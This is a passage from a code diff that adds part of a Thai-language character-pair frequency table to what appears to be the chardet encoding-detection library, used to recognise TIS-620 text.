22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 1, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 40: { # 'ึ' + 5: 3, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 3, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 27: { # 'ื' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 3, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 32: { # 'ุ' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 3, # 'ค' + 8: 3, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 1, # 'ฒ' + 43: 3, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 2, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 3, # 'ม' + 16: 1, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 1, # 'ว' + 42: 1, # 'ศ' + 46: 2, # 'ษ' + 18: 1, # 'ส' + 21: 1, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 0, # 'แ' + 41: 1, # 'โ' + 29: 0, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 2, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 35: { # 'ู' + 5: 3, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 2, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 1, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 0, # 'บ' + 25: 3, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 11: { # 'เ' + 5: 3, # 'ก' + 30: 3, # 'ข' + 24: 3, # 'ค' + 8: 2, # 'ง' + 26: 3, # 'จ' + 52: 3, # 'ฉ' + 34: 3, # 'ช' + 51: 2, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 1, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 3, # 'ป' + 39: 2, # 'ผ' + 62: 1, # 'ฝ' + 31: 3, # 'พ' + 54: 1, # 'ฟ' + 45: 3, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 3, # 'ว' + 42: 2, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 28: { # 'แ' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 1, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 3, # 'ต' + 44: 2, # 'ถ' + 14: 3, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 2, # 'ป' + 39: 3, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 2, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 41: { # 'โ' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 1, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 1, # 'บ' + 25: 3, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 1, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 0, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 0, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 29: { # 'ใ' + 5: 2, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 3, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 1, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 33: { # 'ไ' + 5: 1, # 'ก' + 30: 2, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 3, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 1, # 'บ' + 25: 3, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 2, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 0, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 3, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 2, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 50: { # 'ๆ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 37: { # '็' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 2, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 1, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 1, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 6: { # '่' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 1, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 1, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 1, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 3, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 0, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 7: { # '้' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 3, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 38: { # '์' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 1, # 'ต' + 44: 1, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 1, # 'ฤ' + 15: 1, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 1, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 56: { # '๑' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 2, # '๑' + 59: 1, # '๒' + 60: 1, # '๕' + }, + 59: { # '๒' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 1, # '๑' + 59: 1, # '๒' + 60: 3, # '๕' + }, + 60: { # '๕' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 2, # '๑' + 59: 1, # '๒' + 60: 0, # '๕' + }, +} + +# 255: Undefined characters that did not exist in training text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 +# 251: Control characters -# The following result for thai was collected from a limited sample (1M). - -# Character Mapping Table: -TIS620CharToOrderMap = 